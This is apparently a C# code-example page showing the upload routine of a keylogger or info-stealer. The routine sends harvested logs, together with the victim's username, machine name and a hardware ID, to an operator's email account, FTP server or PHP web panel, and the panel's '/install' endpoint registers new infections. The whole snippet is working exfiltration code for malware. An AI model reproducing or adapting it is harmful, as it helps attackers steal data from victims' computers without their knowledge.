コード例 #1
0
 public static bool Upload(string title, string data, string type)
 {
     try
     {
         if (Config.UPLOAD_METHOD.Equals("EMAIL"))
         {
             MailMessage mail       = new MailMessage();
             SmtpClient  SmtpServer = new SmtpClient(Config.EMAIL_SERVER);
             mail.From = new MailAddress(Config.EMAIL_USERNAME);
             mail.To.Add(Config.EMAIL_USERNAME);
             mail.Subject           = title + " - " + Environment.UserName + "\\" + Environment.MachineName;
             mail.Body              = data;
             SmtpServer.Port        = Convert.ToInt32(Config.EMAIL_PORT);
             SmtpServer.Credentials = new System.Net.NetworkCredential(Config.EMAIL_USERNAME, Config.EMAIL_PASSWORD);
             SmtpServer.EnableSsl   = !string.IsNullOrEmpty(Config.EMAIL_SSL);
             SmtpServer.Send(mail);
         }
         else if (Config.UPLOAD_METHOD.Equals("FTP"))
         {
             byte[]        bytes   = System.Text.ASCIIEncoding.ASCII.GetBytes((data));
             FtpWebRequest request = (FtpWebRequest)WebRequest.Create(Config.FTP_SERVER + "/" + title.Replace(" ", "_") + "-" + Environment.UserName + "_" + Environment.MachineName + DateTime.Now.ToString("yyyyMMddHHmmssffff") + ".txt");
             request.Method        = WebRequestMethods.Ftp.UploadFile;
             request.Credentials   = new NetworkCredential(Config.FTP_USERNAME, Config.FTP_PASSWORD);
             request.ContentLength = bytes.Length;
             Stream requestStream = request.GetRequestStream();
             requestStream.Write(bytes, 0, bytes.Length);
             requestStream.Close();
             FtpWebResponse response = (FtpWebResponse)request.GetResponse();
             Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription);
         }
         else if (Config.UPLOAD_METHOD.Equals("PHP"))
         {
             if (!type.Equals("4"))
             {
                 using (WebClient client = new WebClient())
                 {
                     byte[] response = client.UploadValues(Config.WEBPANEL + "/insert", new NameValueCollection()
                     {
                         { "key", Config.PHP_KEY },
                         { "type", type },
                         { "pcname", ComputerInformation.GetName() },
                         { "log", data },
                         { "hwid", GenerateHWID() }
                     });
                 }
             }
             else
             {
                 using (WebClient client = new WebClient())
                 {
                     byte[] response = client.UploadValues(Config.WEBPANEL + "/install", new NameValueCollection()
                     {
                         { "key", Config.PHP_KEY },
                         { "os", ComputerInformation.GetOS() }, //We use args for something else because php accepts diff parameters for installing
                         { "pcname", ComputerInformation.GetName() },
                         { "hwid", GenerateHWID() }
                     });
                 }
             }
         }
         return(true);
     }
     catch (Exception ex) { Config.DumpErrorLog(ex, null); }
     return(false);
 }